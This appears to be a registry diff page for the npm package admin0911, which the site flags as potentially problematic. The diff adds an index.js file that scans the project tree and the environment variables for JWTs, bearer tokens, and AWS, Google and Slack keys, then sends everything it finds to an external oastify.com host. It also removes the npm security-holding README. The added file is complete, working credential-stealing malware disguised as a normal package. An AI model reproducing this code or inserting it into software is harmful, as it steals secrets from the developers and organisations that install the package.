admin0911 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of admin0911 might be problematic. Click here for more details.
- package/admin0911-1.0.1.tgz +0 -0
- package/index.js +87 -0
- package/package.json +4 -3
- package/README.md +0 -5
|
Binary file
|
package/index.js
ADDED
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const fs = require('fs');
|
|
3
|
+
const path = require('path');
|
|
4
|
+
|
|
5
|
+
const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
|
|
6
|
+
const ROOT_DIR = process.cwd();
|
|
7
|
+
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
|
|
8
|
+
const IGNORE_DIRS = ['node_modules', '.git', 'dist', 'build'];
|
|
9
|
+
|
|
10
|
+
const regexes = [
|
|
11
|
+
{ name: 'JWT', pattern: /[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g },
|
|
12
|
+
{ name: 'BearerToken', pattern: /Bearer\s+([A-Za-z0-9-_.]+)/gi },
|
|
13
|
+
{ name: 'AWSAccessKey', pattern: /AKIA[0-9A-Z]{16}/g },
|
|
14
|
+
{ name: 'GoogleAPIKey', pattern: /AIza[0-9A-Za-z-_]{35}/g },
|
|
15
|
+
{ name: 'SlackToken', pattern: /xox[baprs]-[0-9A-Za-z-]+/g },
|
|
16
|
+
{ name: 'GenericAPIKey', pattern: /(?:api_key|apikey|api-key|auth_token|token|secret)\s*[=:]\s*['\"]?([A-Za-z0-9-_]{16,})['\"]?/gi }
|
|
17
|
+
];
|
|
18
|
+
|
|
19
|
+
const found = [];
|
|
20
|
+
|
|
21
|
+
function isTextFile(filePath) {
|
|
22
|
+
const textExtensions = ['.js', '.ts', '.jsx', '.tsx', '.json', '.env', '.yaml', '.yml', '.sh', '.py', '.rb', '.go', '.java', '.php', '.txt', '.md', '.cfg', '.ini'];
|
|
23
|
+
return textExtensions.includes(path.extname(filePath).toLowerCase());
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
function scanFile(filePath) {
|
|
27
|
+
try {
|
|
28
|
+
const stats = fs.statSync(filePath);
|
|
29
|
+
if (!stats.isFile() || stats.size > MAX_FILE_SIZE) return;
|
|
30
|
+
if (!isTextFile(filePath)) return;
|
|
31
|
+
|
|
32
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
33
|
+
regexes.forEach(({ name, pattern }) => {
|
|
34
|
+
let match;
|
|
35
|
+
while ((match = pattern.exec(content))) {
|
|
36
|
+
const token = match[1] || match[0];
|
|
37
|
+
found.push({ file: path.relative(ROOT_DIR, filePath), type: name, token });
|
|
38
|
+
}
|
|
39
|
+
});
|
|
40
|
+
} catch (e) {
|
|
41
|
+
// ignore unreadable files
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function scanDirectory(dir) {
|
|
46
|
+
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
47
|
+
for (const entry of entries) {
|
|
48
|
+
if (IGNORE_DIRS.includes(entry.name)) continue;
|
|
49
|
+
const fullPath = path.join(dir, entry.name);
|
|
50
|
+
if (entry.isDirectory()) {
|
|
51
|
+
scanDirectory(fullPath);
|
|
52
|
+
} else {
|
|
53
|
+
scanFile(fullPath);
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
function scanEnvVars() {
|
|
59
|
+
Object.entries(process.env).forEach(([key, value]) => {
|
|
60
|
+
regexes.forEach(({ name, pattern }) => {
|
|
61
|
+
let match;
|
|
62
|
+
while ((match = pattern.exec(value || ''))) {
|
|
63
|
+
const token = match[1] || match[0];
|
|
64
|
+
found.push({ source: 'env', key, type: name, token });
|
|
65
|
+
}
|
|
66
|
+
});
|
|
67
|
+
});
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
scanDirectory(ROOT_DIR);
|
|
71
|
+
scanEnvVars();
|
|
72
|
+
|
|
73
|
+
const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
|
|
74
|
+
const req = http.request({
|
|
75
|
+
hostname: OASTIFY_HOST,
|
|
76
|
+
method: 'POST',
|
|
77
|
+
path: '/?token_scan',
|
|
78
|
+
headers: {
|
|
79
|
+
'Content-Type': 'application/json',
|
|
80
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
81
|
+
}
|
|
82
|
+
});
|
|
83
|
+
req.write(payload);
|
|
84
|
+
req.end();
|
|
85
|
+
|
|
86
|
+
fs.writeFileSync('token_scan_results.log', payload + '\n');
|
|
87
|
+
console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
|
package/package.json
CHANGED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=admin0911 for more information.
|